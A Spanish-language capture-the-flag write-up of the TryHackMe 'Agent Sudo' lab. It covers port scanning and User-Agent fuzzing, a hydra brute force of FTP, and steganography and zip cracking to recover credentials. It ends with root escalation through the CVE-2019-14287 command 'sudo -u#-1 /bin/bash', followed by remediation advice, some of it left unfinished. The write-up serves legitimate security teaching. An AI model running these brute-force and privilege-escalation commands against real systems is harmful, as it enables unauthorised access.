TryHackMe | Agent Sudo

https://tryhackme.com/room/agentsudoctf

Agent Sudo es un desafio guiado de Linux de dificultad Facil de TryHackMe. El punto de apoyo inicial consiste en enviar solicitudes al servidor web con distintos valores en la cabecera User-Agent, correspondientes a las letras del abecedario, hasta encontrar un User-Agent en particular que . Este nombre de usuario es suficiente para obtener su contraseña correspondiente en el servicio FTP haciendo uso de fuerza bruta. Mediante ..., descargamos un ar La versión de sudo encontrada es antigua, y junto con la configuración en el archivo sudoers, permiten usar el CVE-2019-14287 para escalar privilegios a root.

Escaneo

Escaneamos todos los 65535 puertos TCP de la maquina objetivo con Nmap.

sudo nmap -p- -n -Pn -T4 10.10.195.209 -oN nmap.txt
Explicación del comando
  • nmap: Herramienta para escanear puertos.
  • -p-: Escanear todos los puertos.
  • -n: No realizar resolución DNS.
  • -Pn: Asumir que el host esta en linea para evitar que Nmap intente primero descubrirlo.
  • -T4: Usar plantilla de temporizado 4 ("aggresive"). Esto no es necesario y podemos optar por usar la plantilla de temporizado por defecto "normal" (-T3).
  • -oN [archivo]: Escribir los resultados en formato "normal" en el archivo indicado.
sudo nmap -p- -n -Pn -T4 10.10.195.209 -oN nmap.txt

# Nmap 7.95 scan initiated Fri May 30 16:11:54 2025 as: /usr/lib/nmap/nmap -p- -n -Pn -T4 -oN nmap.txt 10.10.195.209
Nmap scan report for 10.10.195.209
Host is up (0.27s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Descubrimos el puerto 21 para FTP, puerto 22 para SSH y puerto 80 para HTTP. Obtenemos información de los puertos abiertos.

sudo nmap -sCV -n -Pn -T4 10.10.195.209 -oN nmap-ports.txt
Explicación del comando
  • nmap: Herramienta para escanear puertos.
  • -sCV: Usar scripts por defecto (-sC) y realizar escaneo de versiones (-sV).
  • -n: No realizar resolución DNS.
  • -Pn: Asumir que el host esta en linea para evitar que Nmap intente primero descubrirlo.
  • -T4: Usar plantilla de temporizado 4 ("aggresive"). Esto no es necesario y podemos optar por usar la plantilla por defecto "normal" (-T3).
  • -oN [archivo]: Escribir resultados en formato "normal" en el archivo indicado.
sudo nmap -sCV -n -Pn -T4 10.10.195.209 -oN nmap-ports.txt

# Nmap 7.95 scan initiated Fri May 30 16:25:00 2025 as: /usr/lib/nmap/nmap -sCV -p 21,22,80 -n -Pn -T4 -oN nmap-ports.txt 10.10.195.209
Nmap scan report for 10.10.195.209
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
|   256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
|_  256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Annoucement
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Para agilizar el proceso de escaneo y enumeración, primero encontramos puertos abiertos y luego los escaneamos en busca de banners, versiones y otra información util.

Enumeración de servicios

TCP/21

No es posible realizar un inicio de sesión anónimo en el servicio FTP. Por lo que tendremos que revisitar este puerto mas adelante.

TCP/80

Al ingresar a la pagina web, se nos da la bienvenida con un mensaje críptico.

image-1

"user-agent" se refiere a la cabecera HTTP User-Agent, por lo que debemos de cambiarla para poder acceder. ¿Pero que "código nombre" debemos utilizar? Puesto que el mensaje fue firmado por Agent R, podemos intuir que nuestro código nombre corresponde a alguna de las letras del abecedario.

Creamos una lista de palabras con todas las letras del abecedario en mayúscula haciendo uso de TTPassGen.

ttpassgen -r "[?u]{1:1}" wordlist.txt
Explicación del comando
  • ttpassgen: Generador de listas de palabras altamente flexible escrito en Python.
  • -r [regla]: Regla a usar (consultar el repositorio de GitHub para mayor información).

wordlist.txt
A
B
C
[...]
Y
Z

Para acceder al sitio, debemos de enviar solicitudes HTTP al servidor usando los valores generados anteriormente en la cabecera "User-Agent". Para esto usaremos ffuf. Puesto que la lista de palabras es corta, y no sabemos exactamente que esperar de una respuesta adecuada, podemos optar por no filtrar las respuestas y examinarlas manualmente. Sin embargo, también podemos suponer que una respuesta adecuada contendrá un código de respuesta diferente a 200 OK o tendrá un tamaño diferente al usual de 218 bytes.

Para propósitos educativos, elegiremos seguir las redirecciones y filtrar las respuestas basadas en su tamaño.

ffuf -u http://10.10.195.209 -H "User-Agent: FUZZ" -w wordlist.txt -c -r -fs 218
Explicación del comando
  • ffuf: Fuzzer web escrito en Go.
  • -u [url]: URL objetivo.
  • -H [cabecera]: Cabecera "Nombre: Valor".
  • -w [lista de palabras]: Ruta del archivo con la lista de palabras.
  • -c: Colorear la salida (permite distinguir mejor las respuestas por sus códigos).
  • -r: Seguir redirecciones.
  • -fs [tamaño]: Filtrar respuestas HTTP por tamaño.

¿Filtrar por código de respuesta o por tamaño? Filtrar por código de respuesta nos puede llevar a omitir respuestas no estándares, por lo que seguiremos la redirecciones y filtraremos por tamaño de respuesta.

ffuf -u http://10.10.195.209 -H "User-Agent: FUZZ" -w wordlist.txt -c -r -fs 218

[...]
R                       [Status: 200, Size: 310, Words: 31, Lines: 19, Duration: 267ms]
C                       [Status: 200, Size: 177, Words: 27, Lines: 8, Duration: 267ms]

La letra C originalmente nos redirige a otra pagina, mientras que la letra R nos muestra otro mensaje. Si hubiéramos filtrado todas las respuestas con código 200, hubiéramos omitido esta ultima respuesta.

El User-Agent "R" y "C" retornan respuestas diferentes a la estándar. Al enviar una petición con la cabecera User-Agent: R, obtenemos una respuesta ligeramente diferente a la original (pero sin importancia). La cabecera User-Agent: C nos revela una respuesta completamente diferente.

curl -sL -H "User-Agent: C" http://10.10.195.209/
Explicación del comando
  • curl: Herramienta para transferir datos desde o hacia un servidor usando URLs.
  • -sL: No mostrar barra de progreso (-s) y seguir redirecciones (-L).
  • -H [cabecera]: Cabecera "Nombre: Valor".
curl -sL -H "User-Agent: C" http://10.10.195.209/

Attention chris,

Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak!

From,
Agent R

Descubrimos un posible nombre de usuario, chris, y que su contraseña es débil.

Si intentamos enumerar directorios y paginas web, tales como formularios de inicio de sesión, no obtendremos resultados.

Explotación

¿SSH?

Al no encontrar un vector de explotación evidente, usaremos hydra para obtener la contraseña del servicio SSH mediante fuerza bruta.

Iniciar sesión en este servicio corresponde al camino hacia el éxito mas directo, por tanto tiene sentido probar un ataque de fuerza bruta primero con este servicio. Pero en un entorno real este servicio estará fuertemente protegido y monitorizado, por lo que deberíamos de probar en otros lugares primero.

Finalmente, este ataque falla en obtener una contraseña valida en un intervalo de tiempo aceptable.

Nunca debes realizar un ataque de fuerza bruta, a menos que sea el único camino disponible o hayan grandes indicios de que este es el camino correcto.

FTP

Al fallar el anterior ataque, esta vez lo intentaremos en el servicio FTP, haciendo uso de la famosa lista de palabras rockyou.txt.

Si hay indicios de que una contraseña es débil, vale la pena usar listas de palabras conocidas como rockyou.txt (solo en CTFs).

hydra -l "chris" -P /usr/share/wordlists/rockyou.txt -f -vV 10.10.195.209 ftp
Explicación del comando
  • hydra: Cracker de inicios de sesión paralelos que soporta numerosos protocolos.
  • -l [usuario]: Nombre de usuario a iniciar sesión.
  • -P: [lista de palabras] Ruta del archivo con contraseñas a probar.
  • -f: Parar después del primer inicio de sesión valido.
  • -vV: Salida muy verbal.
hydra -l "chris" -P /usr/share/wordlists/rockyou.txt -f -vV 10.10.195.209 ftp

[...]
[21][ftp] host: 10.10.195.209   login: chris   password: crystal
[STATUS] attack finished for 10.10.195.209 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 20:05:43

Obtenemos la contraseña valida crystal. Ingresamos al servidor FTP con estas credenciales y listamos los archivos.

ftp> ls
229 Entering Extended Passive Mode (|||6987|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png
226 Directory send OK.

El servidor FTP contiene tres archivos: Dos imágenes y un archivo de texto. Los descargamos de forma recursiva.

ftp> prompt
Interactive mode off.
ftp> mget .
local: To_agentJ.txt remote: To_agentJ.txt
[...]
local: cute-alien.jpg remote: cute-alien.jpg
[...]
local: cutie.png remote: cutie.png
[...]

Usamos el comando promt para deshabilitar el modo interactivo, y asi evitar tener que confirmar manualmente la descarga de cada archivo.

A simple vista, no hay nada fuera de lo usual en las imágenes descargadas. El archivo To_agentJ.txt contiene el siguiente mensaje.

To_agentJ.txt
Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

From,
Agent C

Esteganografía

Según el mensaje anterior, una de las imágenes contiene la contraseña de Agent R. Debemos realizar estegoanálisis en busca de un mensaje escondido. Podemos realizar este proceso con muchas herramientas, pero en CTFs usualmente podremos obtener información oculta haciendo uso de exiftool, strings, binwalk y steghide.

La herramienta exiftool no revela nada importante en ambas imágenes. Pero strings revela algo en la imagen cutie.png.

strings cutie.png | head -n 20 && echo "....." && strings cutie.png | tail -n 20
Explicación del comando
  • strings [archivo]: Mostrar cadenas de texto legibles para humanos.
  • head: Mostrar las primeras 10 lineas de un archivo.
  • -n [numero]: Mostrar el numero indicado de las primeras lineas.
  • tail: Mostrar las ultimas 10 lineas de un archivo.
  • -n [numero]: Mostrar el numero indicado de las ultimas lineas.
strings cutie.png | head -n 20 && echo "....." && strings cutie.png | tail -n 20

[...]
To_agentR.txt
W\_z#
2a>=
To_agentR.txt
EwwT

Descubrimos que cutie.png contiene el archivo de texto To_agentR.txt incrustado. Para extraerlo hacemos uso de binwalk.

binwalk -e cutie.png
Explicación del comando
  • binwalk: Buscar archivos incrustados en binarios.
  • -e: Extraer automáticamente tipos de archivos conocidos (requiere de las herramientas adecuadas instaladas).
binwalk -e cutie.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
869           0x365           Zlib compressed data, best compression

WARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt

WARNING: One or more files failed to extract: either no utility was found or it's unimplemented

Los archivos fueron extraídos en la carpeta _cutie.png.extracted. Dentro de esta carpeta encontramos el archivo 8702.zip que no pudo ser extraído automáticamente. unzip falla en extraer este archivo, por lo que debemos de usar 7zip.

7zip x 8702.zip
Explicación del comando
  • 7zip: Software para comprimir y descomprimir archivos.
  • x: Extraer archivo.

Crackeo de zip

El archivo 8702.zip esta protegido por una contraseña. Para crackearla, primero debemos debemos de convertir el archivo ZIP en un formato adecuado para john haciendo uso de zip2john.

zip2john 8702.zip > zip2john.txt
Explicación del comando
  • zip2john [archivo]: Convertir archivo ZIP en un formato adecuado para john.

Crackeamos la contraseña con john haciendo uso del archivo zip2john.txt generado anteriormente y la lista de palabras rockyou.txt.

john --wordlist=/usr/share/wordlists/rockyou.txt zip2john.txt
Explicación del comando
  • john: Recuperador de contraseñas.
  • --wordlist=[lista de palabras]: Lista de palabras a usar.
john --wordlist=/usr/share/wordlists/rockyou.txt zip2john.txt

[...]
alien            (8702.zip/To_agentR.txt)
1g 0:00:00:00 DONE (2025-05-30 19:47) 1.351g/s 44281p/s 44281c/s 44281C/s christal..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos que la contraseña para descomprimir el archivo es alien. Al descomprimir el archivo ZIP obtenemos el archivo de texto To_agentR.txt el cual contiene el siguiente mensaje.

_cutie.png.extracted/To_agentR.txt
Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R

A simple vista esto no parece sernos de utilidad, pero la cadena de texto QXJlYTUx puede estar codificada. Ingresamos esta cadena de texto en CyberChef. La pagina automáticamente reconoce que esta cadena de texto esta codificada en Base64. Al decodificarla obtenemos la frase Area51.

¿Obtuvimos la contraseña de SSH? Resulta no ser valida. Si esta imagen contiene un archivo incrustado, probablemente la otra imagen también.

strings revela que la imagen cute-alien.png contiene información adicional incrustada.

strings cute-alien.png | head -n 20 && echo "....." && strings cute-alien.png | tail -n 20
Explicación del comando
  • strings: Mostrar cadenas de texto legibles para humanos.
  • head: Mostrar el numero indicado de las primeras 10 lineas de un archivo.
  • -n [numero]: Mostrar las primeras lineas.
  • tail: Mostrar las ultimas 10 lineas de un archivo.
  • -n [numero]: Mostrar el numero indicado de las ultimas lineas.
strings cute-alien.png | head -n 20 && echo "....." && strings cute-alien.png | tail -n 20

JFIF
 , #&')*)
-0-(0%()(
((((((((((((((((((((((((((((((((((((((((((((((((((
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
        #3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
~U,q
.c@6
[...]

Nota las cadenas de caracteres inusuales en las primeras lineas de la salida. Definitivamente hay información adicional incrustada en la imagen. Compara la salida de strings anterior con el de una imagen normal.

binwalk no revela archivos incrustados. Es posible que la información adicional haya sido incrustada mediante métodos de esteganografía.

¿Recuerdas la frase anterior? Si se hizo uso de esteganografía para ocultar información, esta habrá sido ocultada con la ayuda de una frase secreta. Es posible que esta sea la frase usada. Para extraer esta información haremos uso de steghide.

steghide extract -sf cute-alien.jpg -p "Area51"
Explicación del comando
  • steghide: Herramienta de esteganografía.
  • extract: Extraer datos ocultos de un archivo.
  • -sf [archivo]: Especificar el nombre del archivo.
  • -p [frase]: Usar la frase secreta.
steghide extract -sf cute-alien.jpg -p "Area51"

wrote extracted data to "message.txt".

Alternativamente, si no conocemos la frase secreta para extraer información de un archivo de esteganografía, podemos hacer uso de stegseek para crackearla haciendo uso de una lista de palabras.

La información fue extraída en el archivo message.txt.

message.txt
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris

SSH

Descubrimos el usuario james y su contraseña hackerrules!. Usamos estas credenciales para ingresar al servidor SSH.

Enumeración post-explotación

Dentro de la carpeta home de nuestro usuario encontramos la bandera del usuario y la imagen Alien_autospy.jpg que contiene la respuesta a la pregunta "What is the incident of the photo called?". Para copiar la imagen a nuestra maquina local podemos usar el comando scp james@10.10.195.209/Alien_autospy.jpg . en una nueva terminal y luego ingresar la contraseña de james.

Enumeramos el usuario actual. Comenzamos usando el comando sudo -ll (en este caso deberemos usar sudo -l por razones que explicare mas adelante).

james@agent-sudo:~$ sudo -l

[sudo] password for james: hackerrules!
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash
Explicación del comando
  • sudo: Ejecutar comandos como otro usuario.
  • -l: Listar los privilegios del usuario invocador (si el usuario no se especifica con la opción -U).

Aunque la salida del comando sudo -ll tiene un formato mas legible que sudo -l, la linea (ALL, !root) /bin/bash sera clave para identificar la vulnerabilidad.

La salida del comando anterior puede resultar poco clara, pero esta nos informa que el usuario james puede ejecutar el comando /bin/bash como cualquier usuario excepto root. Parece seguro, ¿no? En realidad existe un CVE especifico para esta situación que nos permitirá escalar nuestros privilegios a root.

Escalada de privilegios

Para identificar esta vulnerabilidad podemos buscar la frase (ALL, !root) /bin/bash (¿no te parece inusual, o demasiado especifica?) en el motor de búsqueda de tu preferencia y los primeros resultados nos apuntaran al CVE-2019-14287. Alternativamente, podemos usar herramientas de enumeración como linpeas o LinEnum para identificar que la versión de sudo es vulnerable a este CVE.

CVE-2019-14287

Todas las versiones de Sudo anteriores a 1.8.28 presentan una falla en la ejecución de comandos con un User ID (UID) arbitrario, que permite a un atacante evadir restricciones de seguridad y ejecutar comandos como el usuario root si una entrada del archivo sudoers esta configurada para permitir ejecución de comandos como cualquier usuario excepto root.

El signo de exclamación (!) indica exclusión. En este caso root es identificado por su nombre, y se excluye la ejecución de cierto comando para este usuario, pero se permite la ejecución del comando para el resto de usuarios.

someuser ALL=(ALL, !root) /usr/bin/somecommand

El anterior caso corresponde a la configuración de sudoers presente en la maquina objetivo, sin embargo, el usuario root tambien puede ser identificado por su UID.

someuser ALL=(ALL, !#0) /usr/bin/somecommand

O puede ser referenciado con un alias.

Runas_Alias MYGROUP = root, adminuser
someuser ALL=(ALL, !MYGROUP) /usr/bin/somecommand

Podemos comprobar que la versión de sudo presente en la maquina objetivo es vulnerable a este CVE.

james@agent-sudo:~$ sudo --version

Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

Para explicar mejor esta vulnerabilidad, es necesario saber que el usuario root siempre tendrá un UID de 0 y que un usuario en Linux también puede ser referenciado directamente haciendo uso de su UID. Por ejemplo, tanto el comando id root como id 0 mostraran los identificadores del usuario root. En el caso del comando sudo, la opción -u (usada para ejecutar un comando como otro usuario) admite UIDs haciendo uso del formato #uid. De esta forma podemos ejecutar un comando como root haciendo uso del comando sudo -u#0 [comando].

La vulnerabilidad reside en el hecho de que cuando se ejecuta sudo, este es ejecutado inicialmente como root, y luego se cambia el UID efectivo del proceso mediante las llamadas al sistema setresuid y setreuid. Sin embargo, -1 es un valor especial en estas llamadas al sistema.

Segun el manual de setresuid:

Si uno de los argumentos equivale a -1, el valor correspondiente no sera cambiado.

Segun el manual de setreuid:

Ingresar un valor de -1 para el ID de usuario efectivo o real fuerza al sistema a dejar el ID sin cambios.

Por tanto, al ingresar un UID de -1 en sudo, el proceso sera ejecutado inicialmente como root y el UID sera enviado como parámetro a setresuid y setreuid. Pero al ser -1, el UID efectivo no sera cambiado, por lo que el proceso terminara siendo ejecutado como root. El UID 4294967295 es equivalente a -1, y tambien puede ser usado para escalar privilegios.

Para escalar privilegios tan solo debemos de ejecutar /bin/bash con el UID de -1.

sudo -u#-1 /bin/bash
Explicación del comando
  • sudo: Ejecutar comandos como otro usuario.
  • -u [usuario]: Ejectuar el comando como el usuario especificado.
james@agent-sudo:~$ sudo -u#-1 /bin/bash

root@agent-sudo:~# id
uid=0(root) gid=1000(james) groups=1000(james)

Dentro de la carpeta /root encontraremos la bandera de root y la respuesta a la pregunta bonus.

Remediación

  1. Evita el uso de contraseñas débiles. Se recomienda alinear la politica de contraseñas de la organización a las pautas de NIST de identidad digital, en especifico a las pautas de autenticación y autorización. De forma general, estas recomiendan:
    1. a
    2. b
  2. Evita la reutilización de contraseñas. Asegura el uso de contraseñas unicas y fuertes para cada cuenta, dispositivo y servicio protegido. Utiliza gestores de contraseñas locales como KeePassXC para generar y almacenar contraseñas de forma segura.
  3. Actualiza sudo a la versión 1.8.28 o mayor, preferiblemente a la ultima versión disponible, haciendo uso del gestor de paquetes del sistema operativo del servidor. La versión 1.8.28 de sudo corrige el CVE-2019-14287 al evitar el uso de UIDs equivalentes a -1.

Conclusiones

Este es un desafio relativamente facil. Introduce a los principiantes a la enumeración basica de servicios de red, ataques de fuerza bruta, crackeo de contraseñas y metodos basicos de ingenieria inversa. La parte mas complicada es descubrir la pagina oculta haciendo uso de un metodo muy inusual, y realizar esteganografía a las imagenes descargadas (y saber que esto se debe realizar en primer lugar).

Eventualmente tenemos la oportunidad de explotar el CVE-2019-14287, que aunque pueda resultar peligroso debido a la posibilidad de escalar privilegios con un unico comando, requiere de entradas muy especificas en el archivo sudoers y de una versión de sudo del 2019 (el cual se puede actualizar facilmente con el gestor de paquetes del sistema operativo). Por supuesto, el desafio fue creado poco despues de la divulgación del CVE, pero en un contexto actual, esta vulnerabilidad es muy poco probable que este presente en entornos reales.

Referencias